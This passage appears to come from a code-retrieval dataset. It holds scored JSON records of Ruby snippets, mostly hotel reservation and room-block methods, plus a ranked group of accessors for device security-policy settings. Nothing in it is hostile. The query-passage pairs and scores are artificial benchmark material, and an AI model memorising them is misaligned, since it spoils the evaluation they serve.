}, { "docid": "0eadcb51576249861530e043361bcd96", "score": "0.5778224", "text": "def make_reservation_list\n reservations = []\n return reservations\n end", "title": "" }, { "docid": "960c01e689a840a643da28181bf7d3a3", "score": "0.57495236", "text": "def blocks_ids(options = {})\n @req.get(\"/1.1/blocks/ids.json\", options)\n end", "title": "" }, { "docid": "fb28e35e3d9652c199b76e11f6bae695", "score": "0.5738057", "text": "def index\n # logger.debug (\"Current user: #{current_user[:id]} User Id: #{params[:id]}\")\n @reservations = Reservation.where(\"user_id = \" + current_user[:id].to_s)\n end", "title": "" }, { "docid": "07ec5a6e0096bd2a28734102eba6661c", "score": "0.57313174", "text": "def hotel_block_list(start_date, end_date)\n given_date_range = Hotel::DateRange.new(start_date, end_date)\n # get the list of the hotel_block for the given date\n hotel_block_list = hotel_blocks.select do |hotel_block|\n hotel_block.date_range.overlap?(given_date_range)\n end\n return hotel_block_list\n end", "title": "" }, { "docid": "a0241ad36c3be08586aba78685152e87", "score": "0.5708822", "text": "def reservations_list(date)\n reservation_list = reservations.select do |res|\n res.date_range.include?(date)\n end \n return reservation_list\n end", "title": "" }, { "docid": "f7d0d251899758bcde3c7c2e58a88094", "score": "0.57061577", "text": "def list_own_pool_reservations\n pool_reservations = []\n self.pools.each do |pool|\n pool_reservations << pool.reservations\n end\n pool_reservations.flatten\n end", "title": "" }, { "docid": "e390617fcea98c772e9bdf242b9eafb0", "score": "0.5694289", "text": "def create_room_block(room_ids, check_in_date, check_out_date, room_rate)\n requested_date_range = Date_Range.new(check_in_date, check_out_date)\n room_ids.each do |room_id|\n room = @rooms[room_id]\n if !room.check_overlap_with_room_reservations(requested_date_range)\n raise Exception.new \"One of the rooms in the hotel block requested is unavailable\"\n end\n end\n\n # Go to each room and add the reservation for the given date range\n # room_ids.each do |room_id|\n # room = @rooms[room_id]\n # room.create_new_reservation(check_in_date, check_out_date, true)\n # end\n \n\n # Create the HotelBlock object and add it to the list of hotel_blocks\n @hotel_blocks << Hotel_Block.new(room_ids, check_in_date, check_out_date, room_rate, @hotel_block_counter)\n @hotel_block_counter += 1\n end", "title": "" }, { "docid": "182942285fa905e2d8424ebb39974795", "score": "0.5682545", "text": "def reservations_by_date(date)\n return @reservations.select do |reservation|\n reservation.range.include?(date)\n end\n end", "title": "" }, { "docid": "7da1c5ac2d2ff87d631f1add09694057", "score": "0.5682514", "text": "def find_reservations_by_date(inspect_date)\n # standardize input date\n search_date = Date.parse(inspect_date)\n # select all reservation instances that have booked dates that match\n # the inspect date\n\n found_reservations = @reservations.select do |reservation|\n reservation.booked_dates.include? search_date.to_s\n end\n # search through block id's if not found in standard reservations\n if found_reservations.empty?\n found_reservations = @block_reservations.select do |block_res|\n block_res.booked_dates.include? search_date.to_s\n end\n end\n\n # found_reservations = 0 if found_reservations.empty?\n\n return found_reservations\n end", "title": "" }, { "docid": "fb64010537eca70227b14cf038312d49", "score": "0.56635684", "text": "def blocked_ids(options={})\n response = get('blocks/blocking/ids', options)\n format.to_s.downcase == 'xml' ? response['ids']['id'].map{|id| id.to_i} : response\n end", "title": "" }, { "docid": "9b6c0fcbfd44518650ace0a675ae1d04", "score": "0.5650776", "text": "def reserved\n @listing = Listing.find(params[:listing_id])\n @reservation = @listing.reservations\n end", "title": "" }, { "docid": "b6cbcd974b2732d5b3c9ba632ba5841f", "score": "0.5636355", "text": "def find_rooms_block(group)\n block = @all_reservations.find { |reservation|\n reservation.group == group}\n\n block.find_rooms_without_guest\n end", "title": "" }, { "docid": "45668a88c6ddb75fc36137b94ce56806", "score": "0.56144965", "text": "def reservation(date)\n result = []\n @reservations.each do |reservation|\n if reservation.date_range.include?(date)\n result << reservation\n end\n end\n return result\n end", "title": "" }, { "docid": "c5317384a34da65492f0c593a02522e8", "score": "0.5609337", "text": "def past_reservations\n method = \"pastReservations\"\n hash = post_request(method)\n past_reservations = {}\n if !hash[\"DBEntityReservation\"].nil?\n\n past = hash[\"DBEntityReservation\"]\n past_array = []\n past.each { |x| \n past_array.push(\n { :start_time => Time.zone.at(x[\"startStamp\"][0].to_i),\n :end_time => Time.zone.at(x[\"endStamp\"][0].to_i),\n :driver => x[\"DBEntityDriver\"][0][\"fullName\"][0],\n :id => x[\"id\"][0],\n :estimate => x[\"estimate\"][0],\n :location => x[\"DBEntityStack\"][0][\"locationDescription\"][0],\n :lot => x[\"DBEntityStack\"][0][\"lotDescription\"][0],\n :status => x[\"status\"][0],\n :image_url => x[\"DBEntityStack\"][0][\"DBEntityVehicleType\"][0][\"imageDest\"][0],\n :image_thumb_url => x[\"DBEntityStack\"][0][\"DBEntityVehicleType\"][0][\"thumbDest\"][0],\n :vehicle_id => x[\"DBEntityStack\"][0][\"DBEntityVehicleType\"][0][\"id\"][0], \n :stack_id => x[\"DBEntityStack\"][0][\"id\"][0] })}\n else\n past_array = nil\n end\n past_array\n end", "title": "" }, { "docid": "c5317384a34da65492f0c593a02522e8", "score": "0.5609337", "text": "def past_reservations\n method = \"pastReservations\"\n hash = post_request(method)\n past_reservations = {}\n if !hash[\"DBEntityReservation\"].nil?\n\n past = hash[\"DBEntityReservation\"]\n past_array = []\n past.each { |x| \n past_array.push(\n { :start_time => Time.zone.at(x[\"startStamp\"][0].to_i),\n :end_time => Time.zone.at(x[\"endStamp\"][0].to_i),\n :driver => x[\"DBEntityDriver\"][0][\"fullName\"][0],\n :id => x[\"id\"][0],\n :estimate => x[\"estimate\"][0],\n :location => x[\"DBEntityStack\"][0][\"locationDescription\"][0],\n :lot => x[\"DBEntityStack\"][0][\"lotDescription\"][0],\n :status => x[\"status\"][0],\n :image_url => x[\"DBEntityStack\"][0][\"DBEntityVehicleType\"][0][\"imageDest\"][0],\n :image_thumb_url => x[\"DBEntityStack\"][0][\"DBEntityVehicleType\"][0][\"thumbDest\"][0],\n :vehicle_id => x[\"DBEntityStack\"][0][\"DBEntityVehicleType\"][0][\"id\"][0], \n :stack_id => x[\"DBEntityStack\"][0][\"id\"][0] })}\n else\n past_array = nil\n end\n past_array\n end", "title": "" }, { "docid": "d48798911c721271d3a49abf97b5710a", "score": "0.56086475", "text": "def search_reserved_by_date(search_date)\n search_date = Date.parse(search_date)\n results = []\n\n @reservations.each do |reservation|\n if reservation.start_date <= search_date && search_date < reservation.end_date\n results << @reservations\n end\n end\n\n @block_reservations.each do |reservation|\n if reservation.start_date <= search_date && search_date < reservation.end_date\n results << @block_reservations\n end\n end\n\n return results\n end", "title": "" }, { "docid": "3b791140008d5fcaad4f3aa4b88c2efb", "score": "0.5605734", "text": "def ids only = amount\n allocations.ids only\n end", "title": "" }, { "docid": "d7accc20652fa36b9a741b60a53e9f46", "score": "0.5587003", "text": "def build_reservations\n @bookings.map do |booking|\n Reservation.new(booking).take_matching_resell\n end\n end", "title": "" }, { "docid": "cd004d13c2d1ba07fe1e350ece744c21", "score": "0.5586125", "text": "def reservations(team_name_or_id)\n @gateway.fetch(path: \"teams/#{team_name_or_id}/reservations\")\n end", "title": "" }, { "docid": "cd004d13c2d1ba07fe1e350ece744c21", "score": "0.5586125", "text": "def reservations(team_name_or_id)\n @gateway.fetch(path: \"teams/#{team_name_or_id}/reservations\")\n end", "title": "" }, { "docid": "9d1343197fcd82b788c550d612fa5327", "score": "0.5569", "text": "def create_block(start_year, start_month, start_day, end_year, end_month, end_day, block_rooms, cost, discount)\n # dates\n start_date = Date.new(start_year, start_month, start_day)\n end_date = Date.new(end_year, end_month, end_day)\n\n # create an id for the block which is (100000*num_days + (start_date + first room number)\n num_days = end_date - start_date\n block_id = ((num_days*100000) + start_date.to_time.to_i / (60 * 60 * 24) + block_rooms[0]).to_i\n\n # check what rooms are available\n available_rooms = self.get_available_rooms(start_year, start_month, start_day, end_year, end_month, end_day)[0]\n\n blocked_rooms = self.get_available_rooms(start_year, start_month, start_day, end_year, end_month, end_day)[1]\n\n # raise exception if room is not available either because\n # it's reserved as an individual reservation or\n # it's already part of another block for those days\n block_rooms.each do |room|\n if (available_rooms.include?(room) == false) || (blocked_rooms.include?(room) == true)\n raise ArgumentError.new(\"Room #{room} is not available to be part of the block\")\n end\n end\n\n date_key = start_date\n\n # iterate through dates from start_date to end_date\n while date_key < end_date\n # add room number to date_block hash\n if @date_block_hash[date_key] == nil # first entry\n @date_block_hash[date_key] = block_rooms\n #add a value to the list of reservations\n else\n @date_block_hash[date_key] += block_rooms\n end\n\n # update the date\n date_key += 1\n end\n\n reserved_block_rooms = []\n @blocks_hash[block_id] = [start_date, end_date, block_rooms, reserved_block_rooms, discount]\n end", "title": "" }, { "docid": "b5758f4c6f24f12ac21628394e5036d0", "score": "0.5561719", "text": "def find_id(id)\n reservation = MANAGER.reservations.select {|booking|booking.reservation_id == id}\n return reservation[0]\nend", "title": "" }, { "docid": "8f6892c64b1e50a557548360e44de8e1", "score": "0.5558603", "text": "def list_of_reservations_for_a_date(date)\n found_reservations = []\n @list_of_reservations.each do |reserve|\n if reserve.is_date_included?(date)\n found_reservations << reserve\n end\n end\n return found_reservations\n end", "title": "" }, { "docid": "7ce43dc2c4e8f8e0a1f7ddaac42d4565", "score": "0.5557683", "text": "def initialize(room_count, startyear, startmonth, startday, endyear, endmonth, endday, block_id)\n if room_count > 5 || room_count.class != Integer || room_count < 2\n raise ArgumentError.new(\"Rooms must be blocked in quantities between 2 and 5.\")\n end\n\n Block.all_blocks.each do |block|\n if block.block_id == block_id\n raise ArgumentError.new(\"That ID is taken by another block. Please create a unique ID.\")\n end\n end\n\n @block_id = block_id\n @blocked_rooms = Availability.all_available_rooms(startyear, startmonth, startday, endyear, endmonth, endday)[0...room_count]\n\n @checkin_date = Date.new(startyear,startmonth,startday)\n @checkout_date = Date.new(endyear,endmonth,endday)\n wanteddate = checkin_date\n\n until wanteddate == checkout_date\n Availability.calendar.each do |days|\n days.each do |date, roominfo|\n if wanteddate == date\n roominfo.each do |rooms|\n rooms.each do |id, status|\n if blocked_rooms.include?(id)\n rooms[id] = :blocked\n end\n end\n end\n end\n end\n end\n wanteddate += 1\n end\n\n @@every_block << self\n\n total_stay = (@checkout_date - @checkin_date).to_i\n @total_cost = total_stay * 175\n\n return @blocked_rooms\n end", "title": "" }, { "docid": "c3cb03ae0c2a7386b0ff94f55042a1c3", "score": "0.5544673", "text": "def index\n @reservations = Reservation.where(user_id: params['user_id'])\n end", "title": "" }, { "docid": "e5daf821dcc315366a420721c666aff6", "score": "0.55355006", "text": "def find_block(range)\n #find block\n rooms_with_blocks = @rooms.select { |room| room.blocks.empty? == false}\n #blocks variable are an array\n block_set = []\n rooms_with_blocks.each do |room|\n blocks = room.blocks\n blocks.each do |block|\n if block[:range] == range\n block_set << room\n end\n end\n end\n end", "title": "" }, { "docid": "cfae3f041b2cd945666875c3d4ce4c62", "score": "0.5520431", "text": "def reserve_block(reserved_for, check_in, check_out, num_of_rooms)\n valid?(reserved_for)\n check_room_input(num_of_rooms) # Raised to UI. Max of 5 rooms and no less than 1\n available_rooms = check_avail_rooms_for(check_in, check_out)\n if rooms_available?(available_rooms) # Will raise an ArgumentError for UI\n reserved_room_nums = available_rooms[0..num_of_rooms - 1] # Takes the first 5 rooms from all available rooms\n new_block = Block.new(reserved_for, check_in, check_out, reserved_room_nums)\n # Return only one block reservation and pass it into the @all_reservations array so that they cannot access the rooms\n @all_reservations << new_block\n @block_reservations << new_block\n return new_block # Returns all reserved rooms numbers for a block\n end\n end", "title": "" }, { "docid": "4a4952c2491f68f100d5cd501b8a6fdd", "score": "0.55175084", "text": "def list_reservations(date)\n list = []\n @reservations.each do |reservation|\n if reservation.date_range.check_include?(date)\n list << reservation\n end\n end\n return list\n end", "title": "" }, { "docid": "36162a37465e3c691a8447212485a2d3", "score": "0.5513893", "text": "def invitee_ids\n return self.jam_times.first.rsvps.map { |rsvp| rsvp.user_id }\n end", "title": "" }, { "docid": "0f48c372a2018901e646f176fd907e43", "score": "0.5513037", "text": "def get_rooms\n if self.reservation_item_type == 'Room'\n return [ self.reservation_item_id ]\n else\n return self.reservation_item.rooms.collect{ |room| room.id }\n end\n end", "title": "" }, { "docid": "2b4c684169e4acb7d9c75b8f08a1b89a", "score": "0.5494517", "text": "def finish_setup_all_reservations\n # For Reservation objs in @all_reservations, will need to add their own @block and @room\n @all_reservations.each do |res_obj|\n res_obj.room = get_room_from_id(res_obj.room_id)\n if res_obj.block_id\n res_obj.block = get_block_from_id(res_obj.block_id)\n end\n end\n end", "title": "" }, { "docid": "d08978fe1db6012d85ddf2af860d500b", "score": "0.5492399", "text": "def make_reservation(start_year, start_month, start_day, end_year, end_month, end_day, room_number, cost, discount, block_id)\n\n # check what rooms are not reserved\n available_rooms = self.get_available_rooms(start_year, start_month, start_day, end_year, end_month, end_day)[0]\n\n # check which rooms ares part of a block\n blocked_rooms = self.get_available_rooms(start_year, start_month, start_day, end_year, end_month, end_day)[1]\n\n reservation = Reservation.new(start_year, start_month, start_day, end_year, end_month, end_day, room_number, cost, discount, block_id)\n\n #---exception handling---\n # invalid date range\n if (reservation.end_date - reservation.start_date).to_i < 1\n raise ArgumentError.new(\"Can't make a reservation for less than 1 day\")\n end\n\n # room already booked\n if available_rooms.include?(reservation.room_number) == false\n raise ArgumentError.new(\"That room is already booked\")\n end\n\n # can't make a reservation of a blocked room outside block\n if (blocked_rooms.include?(reservation.room_number) == true && block_id == 0)\n raise ArgumentError.new(\"That room is only available as part of a block\")\n end\n #---exception handling---\n\n # keys for date_reservation_has and id_reservation_hash\n date_key = reservation.start_date\n reservation_id = reservation.reservation_id\n\n # iterate through dates from start_date to end_date\n while date_key < reservation.end_date\n # add room number to date_reservation hash\n if @date_reservation_hash[date_key] == nil # first entry\n @date_reservation_hash[date_key] = [reservation.room_number]\n #add a value to the list of reservations\n else\n @date_reservation_hash[date_key] << reservation.room_number\n end\n # update the date\n date_key += 1\n end\n\n # update id_reservation_hash\n @id_reservation_hash[reservation_id] = [reservation.start_date, reservation.end_date, reservation.room_number, reservation.total_cost]\n\n end", "title": "" }, { "docid": "620f015292cd23e061c8728619b7716c", "score": "0.5483597", "text": "def reservations\n raise NotImplementedError\n end", "title": "" }, { "docid": "38c402ab30f8595a403868b5e6c64b0a", "score": "0.5468925", "text": "def find_reservation\n @reservation = Reservation.find_by(id: params[:id])\n end", "title": "" }, { "docid": "a15015019af1d306907182e7aaa5be78", "score": "0.5466872", "text": "def reservations_by_date(date)\n valid_reservations = []\n reservations.each do |reservation|\n if reservation.range.include? (date)\n valid_reservations << reservation\n end\n end\n return valid_reservations\n end", "title": "" }, { "docid": "1231fbc2aff507d95c80830e496569ad", "score": "0.5459974", "text": "def renewable_reservations\n user_reservations = reserver.reservations\n renewable_reservations = []\n @items.each do |item|\n cart_item_count = item.quantity #renew up to this many of the item\n matching_reservations = user_reservations.each do |res|\n # the end date should be the same as the start date\n # the reservation should be renewable\n # also the user should only renew as many reservations as they have in their cart\n if (res.due_date.to_date == @start_date &&\n res.equipment_model_id == item.equipment_model_id &&\n cart_item_count > 0 &&\n res.is_eligible_for_renew?)\n renewable_reservations << res\n cart_item_count-= 1\n end\n end\n end\n return renewable_reservations\n end", "title": "" }, { "docid": "a247b6c16911b2bfbea49a7dccf5676e", "score": "0.5444767", "text": "def reservations(year = Date.today.year)\n page = search_reservations('year' => year)\n links = page.links.find_all{|l| l.text =~ /Edit\\sDetails/}\n links.map{|l| reservation_attributes(l.href)}\n end", "title": "" }, { "docid": "efec9d45c746d4616c6ea8be13fa1118", "score": "0.54420125", "text": "def find_all_reservations(date)\n all_reservations_by_date = []\n @reservations.each do |reservation|\n if (date >= reservation.start_date && date < reservation.end_date)\n all_reservations_by_date << reservation\n end\n end\n return all_reservations_by_date\n end", "title": "" }, { "docid": "30f6f524a8226adf6987efa402e0e79e", "score": "0.5431819", "text": "def index\n @blockships = Blockship.select{|blockship| blockship.blocker_id == current_user.id}\n end", "title": "" }, { "docid": "309c12f9e28dfe33bc76e80d6a647dd2", "score": "0.54253566", "text": "def list_reservations(date_selected)\n return @reservations.select {|reserve| reserve.dates_booked.include? date_selected}\n\n end", "title": "" }, { "docid": "5891abfa3c11490fa66ff8dea4ec4893", "score": "0.5424067", "text": "def reserved_slots\n all_slots = []\n last_offset = 0\n loop do\n packet = send_request(\"reservedSlotsList.list\", last_offset)\n status = packet.read_word\n\n # every ban list entry has 6 words attached to it\n break if (status != \"OK\") || (packet.words_left == 0)\n\n last_offset += packet.words_left\n all_slots += packet.remaining_words\n end\n\n all_slots\n end", "title": "" }, { "docid": "de4ae07d2da6d1e5c4bad7a293ccf074", "score": "0.5416937", "text": "def available_list_at(date)\n reservations = Reservation.where(date: date.beginning_of_day..date.end_of_day, space_id: self)\n list = 48.times.map{ true }\n reservations.each{ |r| list.fill(false, r.start_time_block..r.end_time_block) }\n list\n end", "title": "" }, { "docid": "ba56d7583194536085ac3010bd8c3a89", "score": "0.54123884", "text": "def incoming_transactions_in_block(id, watch_addresses = [])\n return [] unless watch_addresses.any?\n\n parse_block(id).transactions.select { |tx| watch_addresses.include?(tx.recipient) }\n end", "title": "" }, { "docid": "e71820534613a9391e58c689c4db1558", "score": "0.54014903", "text": "def _block_item_list\n groups = BlockRealEstateGroup.where block_id: params[:block_id]\n\n render json: {\n status: 0,\n result: render_to_string(partial: 'real_estates/block_item_list', locals: { groups: groups })\n }\n end", "title": "" }, { "docid": "7d37464cb625d62586a75838dc2b02bf", "score": "0.5401041", "text": "def list_of_reservations(date)\n return @reservations.find_all { |reservation| reservation.nights_stayed == date }\n end", "title": "" }, { "docid": "def976e254442c4cde5afbf39215a1e8", "score": "0.5400332", "text": "def user_reservations\n @user_reservations = current_user.reservations\n end", "title": "" }, { "docid": "b4baac43790799e74ec0455b6115b8fb", "score": "0.53852874", "text": "def hotel_blocks_for_specific_date_range(start_date, end_date)\n specific_date_range = Hotel::DateRange.new(start_date, end_date)\n hotel_blocks_for_specific_date_range = hotel_blocks.select do |hotel_block|\n hotel_block.date_range == specific_date_range\n end\n return hotel_blocks_for_specific_date_range\n end", "title": "" }, { "docid": "403e5273c990d6bbf971c3649246dd75", "score": "0.53841805", "text": "def get_resource_cidr_blocks\n get_resource_to_az_mapping.map(&:cidr_block)\n end", "title": "" }, { "docid": "78549125ddd735bd14c8e6589029451e", "score": "0.53837734", "text": "def index\n @reservation = Reservation.find(params[:reservation_id])\n @transactions = @reservation.transactions\n @transaction = Transaction.new\n end", "title": "" }, { "docid": "d2e0950b1d5ab7bf173cf00777029617", "score": "0.5380891", "text": "def book_block(room_count, checkin, checkout = nil)\n valid_room_count?(room_count)\n available = check_available_rooms(checkin, checkout)\n if room_count <= available.length\n booked = Hotels::Reservation.new(checkin, checkout, room_count)\n booked.block_id = generate_id(checkin)\n generate_room(booked, checkin, checkout, room_count)\n booked.calc_total\n @blocks << booked\n booked\n end\n end", "title": "" }, { "docid": "c20dd3ca4b133ebeb2713498e194951f", "score": "0.5377303", "text": "def reserve_room_in_block(reserved_name, num_to_book)\n valid?(reserved_name)\n found_block = find_block(reserved_name)\n check_num_input(found_block, num_to_book) # Raise ArgumentError to UI\n found_block.reserve_rooms(num_to_book) # Run block method to reserve the rooms in the block\n end", "title": "" }, { "docid": "afd1ff508f105b5faf7b89a2fdaba111", "score": "0.53754884", "text": "def list_reservations(date:)\n date = Hotel::DateRange.validate_date(date)\n reservations = self.reservations.select do |reservation|\n date >= reservation.check_in_date && date < reservation.check_out_date\n end\n return reservations\n end", "title": "" }, { "docid": "fb28fc13db373fd113effd149a50d936", "score": "0.5374311", "text": "def rsv_hash\n @block_rsv = Hash[@included_rooms.collect { |room| [room, 'pending'] }]\n end", "title": "" }, { "docid": "a91006f8b5f7ef0ff1bc65c0f1640126", "score": "0.53667474", "text": "def find_reservation\n @reservation = Reservation.find(params[:id])\n end", "title": "" } ]
8b5bd92f72e3cd226e1d06c952f7098b
Gets the defenderSecurityCenterBlockExploitProtectionOverride property value. Indicates whether or not to block user from overriding Exploit Protection settings.
[ { "docid": "348ca2725cb62e126402964ca859974b", "score": "0.8025449", "text": "def defender_security_center_block_exploit_protection_override\n return @defender_security_center_block_exploit_protection_override\n end", "title": "" } ]
[ { "docid": "dc8212ecf353fcd04c9fc8793b119609", "score": "0.76861644", "text": "def defender_security_center_block_exploit_protection_override=(value)\n @defender_security_center_block_exploit_protection_override = value\n end", "title": "" }, { "docid": "f68ca4ccac39a4ace815c59837f3d088", "score": "0.567521", "text": "def defender_exploit_protection_xml\n return @defender_exploit_protection_xml\n end", "title": "" }, { "docid": "1304a7f87ef24e816e630ad97676cf99", "score": "0.5441858", "text": "def enterprise_app_block_trust_modification\n return @enterprise_app_block_trust_modification\n end", "title": "" }, { "docid": "dfd59b1441a3db0babb1123c1b2c6658", "score": "0.53470117", "text": "def enterprise_app_block_trust\n return @enterprise_app_block_trust\n end", "title": "" }, { "docid": "717ee60f1f972dd9e4691df57b2f7f75", "score": "0.53274196", "text": "def doi_protection_override!(val=true)\n @doi_protection_override = val\n end", "title": "" }, { "docid": "b8c8f433889a893ad765a5110b99f025", "score": "0.52074224", "text": "def application_guard_block_non_enterprise_content\n return @application_guard_block_non_enterprise_content\n end", "title": "" }, { "docid": "a23327ff2e9aea9f3e85f0e4bfe5d01a", "score": "0.51884544", "text": "def defender_exploit_protection_xml=(value)\n @defender_exploit_protection_xml = value\n end", "title": "" }, { "docid": "982549c151b60dd21ca631a5f7c58ae7", "score": "0.5124631", "text": "def default_managed_app_protections\n return @default_managed_app_protections\n end", "title": "" }, { "docid": "e3485ab2d647c73f555eb4c3f245d2ca", "score": "0.5106139", "text": "def defender_exploit_protection_xml_file_name\n return @defender_exploit_protection_xml_file_name\n end", "title": "" }, { "docid": "4641daa57d46981c1252d4f2ba2654e4", "score": "0.5092385", "text": "def default_managed_app_protections=(value)\n @default_managed_app_protections = value\n end", "title": "" }, { "docid": "b1e0ecab4f6744da5b1c57106d626312", "score": "0.5092119", "text": "def game_center_blocked\n return @game_center_blocked\n end", "title": "" }, { "docid": "fdd67005017abbdac031b8895d1b99cb", "score": "0.5086952", "text": "def device_threat_protection_enabled\n return @device_threat_protection_enabled\n end", "title": "" }, { "docid": "822cfefeab8e7b07aea8dfa22b5b07d5", "score": "0.50485694", "text": "def smart_screen_block_override_for_files\n return @smart_screen_block_override_for_files\n end", "title": "" }, { "docid": "0aa04436a291ee5bf1d9ef286da525a4", "score": "0.4984168", "text": "def protection\n return @protection\n end", "title": "" }, { "docid": "7a3b4dbe71bf03ac54e4c15cb4422f85", "score": "0.49828723", "text": "def password_block_trust_agents\n return @password_block_trust_agents\n end", "title": "" }, { "docid": "7a3b4dbe71bf03ac54e4c15cb4422f85", "score": "0.49828723", "text": "def password_block_trust_agents\n return @password_block_trust_agents\n end", "title": "" }, { "docid": "98ce9cac6865c070feff801481fa18d0", "score": "0.49540952", "text": "def nfc_blocked\n return @nfc_blocked\n end", "title": "" }, { "docid": "178de0bc508cd86315d0ef565d173f75", "score": "0.4862735", "text": "def protection_under_lock_config_required\n return @protection_under_lock_config_required\n end", "title": "" }, { "docid": "7b8cd322190ca138172c385e9c57bb24", "score": "0.4862158", "text": "def power_off_blocked\n return @power_off_blocked\n end", "title": "" }, { "docid": "b075f3616d998afdadd4fbb1f769576e", "score": "0.485848", "text": "def application_guard_block_non_enterprise_content=(value)\n @application_guard_block_non_enterprise_content = value\n end", "title": "" }, { "docid": "525e29db592e6f64ec41beabfa69bd06", "score": "0.4857852", "text": "def enterprise_app_block_trust=(value)\n @enterprise_app_block_trust = value\n end", "title": "" }, { "docid": "bf86455aaee3b924a584c9c8595b0ba9", "score": "0.48540643", "text": "def secure_by_default\n return @secure_by_default\n end", "title": "" }, { "docid": "743294116851c5a440819b351c8c68ee", "score": "0.48441795", "text": "def xss_protection?\n xss_protection == \"1; mode=block\"\n end", "title": "" }, { "docid": "35aa2127d54378fe48fafae28828f37c", "score": "0.48088443", "text": "def enterprise_app_block_trust_modification=(value)\n @enterprise_app_block_trust_modification = value\n end", "title": "" }, { "docid": "c996efaed986e67ff20447fda5fe2f3a", "score": "0.48020852", "text": "def game_center_blocked=(value)\n @game_center_blocked = value\n end", "title": "" }, { "docid": "658e6ad30051e66bb7674e08233cca6a", "score": "0.47464666", "text": "def nfc_blocked=(value)\n @nfc_blocked = value\n end", "title": "" }, { "docid": "9204f3c0500427b57260eea841ab776c", "score": "0.47233525", "text": "def votes_blocked?\n current_settings.votes_blocked\n end", "title": "" }, { "docid": "137320f24755d0f42392267da473174c", "score": "0.47141984", "text": "def default_value\n return :not_applicable if c100.consent_order? || c100.child_protection_cases?\n\n GenericYesNo::NO\n end", "title": "" }, { "docid": "4acfb2df214c9309a8fe182b10513c29", "score": "0.46961632", "text": "def protection\n\t\treturn @shieldPower\n\tend", "title": "" }, { "docid": "4c6c59b841e843c34ea09906e00dc593", "score": "0.4674329", "text": "def content_security_policy_overrides\n {}\n end", "title": "" }, { "docid": "18bd67c53a905c06a32055a2d4f38a49", "score": "0.46651947", "text": "def work_profile_password_block_trust_agents\n return @work_profile_password_block_trust_agents\n end", "title": "" }, { "docid": "a9ca5810764eaabf676cdf3615c5d318", "score": "0.46513095", "text": "def selinux?\n if installed?('getenforce')\n Mixlib::ShellOut.new('getenforce').run_command.stdout != \"Disabled\\n\"\n else\n false\n end\n end", "title": "" }, { "docid": "c1e8be709472923cccd7ffe7735942dd", "score": "0.46478638", "text": "def get_override_settings\n {}\n end", "title": "" }, { "docid": "d35d7f9a4c0658e9e1377c0662c249fe", "score": "0.46384016", "text": "def kiosk_mode_allow_assistive_touch_settings\n return @kiosk_mode_allow_assistive_touch_settings\n end", "title": "" }, { "docid": "a617adc245416ce949ef4c0a4cd89940", "score": "0.4635098", "text": "def isUserAdminBlocked\n if(@ADMIN_PROPS != nil)\n amblocked = @ADMIN_PROPS[\"BLOCKED\"]\n return (amblocked == nil && amblocked == \"true\")\n else\n return false\n end\n end", "title": "" }, { "docid": "aa6ddb7e601c8bfc44825a55d10b7528", "score": "0.46215817", "text": "def device_threat_protection_required_security_level\n return @device_threat_protection_required_security_level\n end", "title": "" }, { "docid": "8093c927d6e909115599763ac1f63db8", "score": "0.46094278", "text": "def device_threat_protection_enabled=(value)\n @device_threat_protection_enabled = value\n end", "title": "" }, { "docid": "7cf036b9655cd1bf0232ef1dbc792c04", "score": "0.45902225", "text": "def overridden?\n # NOTE: using instance variables to bypass accessors that enforce overrides\n @overrides.key?(:version) && (@overrides[:version] != @version)\n end", "title": "" }, { "docid": "474dcc20b9f532e32467348cfe4dadf5", "score": "0.4587569", "text": "def is_escalation_enabled\n return @is_escalation_enabled\n end", "title": "" }, { "docid": "af4a7d54b056a0c0abfe88875332633f", "score": "0.45860717", "text": "def notifications_block_settings_modification\n return @notifications_block_settings_modification\n end", "title": "" }, { "docid": "e962a10609405244c311531465105840", "score": "0.45719886", "text": "def apple_news_blocked\n return @apple_news_blocked\n end", "title": "" }, { "docid": "613000b399915f8d541fa466ae929934", "score": "0.4571801", "text": "def early_launch_anti_malware_driver_enabled\n return @early_launch_anti_malware_driver_enabled\n end", "title": "" }, { "docid": "bf3d508499c9781ec52ccdb8ebc7a207", "score": "0.45664164", "text": "def endorsements_blocked?\n current_settings.endorsements_blocked\n end", "title": "" }, { "docid": "dd4159a06f42346d98e448d9ee1545b5", "score": "0.45600614", "text": "def definition_lookup_blocked\n return @definition_lookup_blocked\n end", "title": "" }, { "docid": "26913c274d864bea02a3f91d827e003a", "score": "0.45312405", "text": "def activation_lock_allow_when_supervised\n return @activation_lock_allow_when_supervised\n end", "title": "" }, { "docid": "0759a129b4a777fe952c3a9620fec986", "score": "0.45258185", "text": "def definition_lookup_blocked=(value)\n @definition_lookup_blocked = value\n end", "title": "" }, { "docid": "65176a152fcd85d8821135e870dc8bd2", "score": "0.45144615", "text": "def security_block_jailbroken_devices\n return @security_block_jailbroken_devices\n end", "title": "" }, { "docid": "af975de8b7e41d93949081906dd31396", "score": "0.44954863", "text": "def auto_blocked_status\n 'auto_blocked'\n end", "title": "" }, { "docid": "f051acba3357caf52ded4b4499969126", "score": "0.44919667", "text": "def is_percentage_fee_overriden?\n if !self.override_percentage_fee.blank? and self.override_percentage_fee > 0 and self.override_percentage_fee != StaticDataLancer::JOB_ORDER_PERCENTAGE_FEE\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "5872c92a5601cd7879fb78c5c2d70a65", "score": "0.44794017", "text": "def app_store_blocked\n return @app_store_blocked\n end", "title": "" }, { "docid": "ef4aedf48ef8a491e46fea06a624838f", "score": "0.44792497", "text": "def account_block_modification\n return @account_block_modification\n end", "title": "" }, { "docid": "dea7ad1e200f0ce89030f57fa593e167", "score": "0.44728583", "text": "def password_block_trust_agents=(value)\n @password_block_trust_agents = value\n end", "title": "" }, { "docid": "dea7ad1e200f0ce89030f57fa593e167", "score": "0.44728583", "text": "def password_block_trust_agents=(value)\n @password_block_trust_agents = value\n end", "title": "" }, { "docid": "a5ef5cd4d7bf24ab011d210bdc482220", "score": "0.4472317", "text": "def protection=(value)\n @protection = value\n end", "title": "" }, { "docid": "023b56bdf40824e3846f2fe02f374ab6", "score": "0.4457941", "text": "def hosts_deny\n return @cfg['run_mode'] == 'full_debug' ? './hosts.deny' : '/etc/hosts.deny'\n end", "title": "" }, { "docid": "e7d2dd832255e69254340093a27e4a38", "score": "0.4451419", "text": "def blocked?\n return (@ref.blocked == \"true\") ? true : false\n end", "title": "" }, { "docid": "3bc0efffda24ec495627e49710fe7098", "score": "0.44433933", "text": "def camera_blocked\n return @camera_blocked\n end", "title": "" }, { "docid": "3bc0efffda24ec495627e49710fe7098", "score": "0.44433933", "text": "def camera_blocked\n return @camera_blocked\n end", "title": "" }, { "docid": "c2d29ab57acc54c4d43c59f50fb31a05", "score": "0.44369414", "text": "def 